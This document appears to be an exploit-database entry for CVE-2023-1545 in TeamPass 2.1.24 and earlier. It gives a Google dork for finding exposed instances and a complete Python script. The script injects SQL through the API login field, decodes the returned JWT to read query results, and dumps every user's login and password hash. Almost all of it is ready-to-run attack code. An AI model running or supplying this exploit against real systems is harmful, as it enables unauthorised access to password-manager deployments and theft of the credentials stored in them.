1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 |
# Exploit Title: TeamPass SQL Injection # Google Dork: intitle:"Teampass" + inurl:index.php?page=items # Date: 02/23/2025 # Exploit Author: Max Meyer - Rivendell # Vendor Homepage: http://www.teampass.net # Software Link: https://github.com/nilsteampassnet/TeamPass # Version: 2.1.24 and prior # Tested on: Windows/Linux # CVE : CVE-2023-1545 #!/usr/bin/env python3 import sys import json import base64 import logging import requests from typing import Optional, Dict, Any from dataclasses import dataclass # Configuração de logging logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s' ) logger = logging.getLogger(__name__) @dataclass class TeamPassExploit: base_url: str arbitrary_hash: str = '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq' def __post_init__(self): self.vulnerable_url = f"{self.base_url}/api/index.php/authorize" def check_api_enabled(self) -> bool: """Verifica se a API está habilitada.""" try: response = requests.get(self.vulnerable_url) if "API usage is not allowed" in response.text: logger.error("API feature is not enabled") return False return True except requests.RequestException as e: logger.error(f"Erro ao verificar API: {e}") return False def execute_sql(self, sql_query: str) -> Optional[str]: """Executa uma query SQL através da vulnerabilidade.""" try: inject = f"none' UNION SELECT id, '{self.arbitrary_hash}', ({sql_query}), private_key, " \ "personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' " \ "FROM teampass_users WHERE login='admin" data = { "login": inject, "password": "h4ck3d", "apikey": "foo" } response = requests.post( self.vulnerable_url, headers={"Content-Type": "application/json"}, json=data ) if not response.ok: logger.error(f"Erro na requisição: {response.status_code}") return None token = response.json().get('token') if not token: logger.error("Token não encontrado na resposta") return None # Decodifica o token JWT token_parts = token.split('.') if len(token_parts) < 2: logger.error("Token JWT inválido") return None payload = base64.b64decode(token_parts[1] + '=' * (-len(token_parts[1]) % 4)) return json.loads(payload).get('public_key') except Exception as e: logger.error(f"Erro ao executar SQL: {e}") return None def get_user_credentials(self) -> Optional[Dict[str, str]]: """Obtém credenciais de todos os usuários.""" try: # Obtém número total de usuários user_count = self.execute_sql("SELECT COUNT(*) FROM teampass_users WHERE pw != ''") if not user_count or not user_count.isdigit(): logger.error("Não foi possível obter o número de usuários") return None user_count = int(user_count) logger.info(f"Encontrados {user_count} usuários no sistema") credentials = {} for i in range(user_count): username = self.execute_sql( f"SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1" ) password = self.execute_sql( f"SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1" ) if username and password: credentials[username] = password logger.info(f"Credenciais obtidas para: {username}") return credentials except Exception as e: logger.error(f"Erro ao obter credenciais: {e}") return None def main(): if len(sys.argv) < 2: logger.error("Usage: python3 script.py <base-url>") sys.exit(1) exploit = TeamPassExploit(sys.argv[1]) if not exploit.check_api_enabled(): sys.exit(1) credentials = exploit.get_user_credentials() if credentials: print("\nCredenciais encontradas:") for username, password in credentials.items(): print(f"{username}: {password}") if __name__ == "__main__": main() |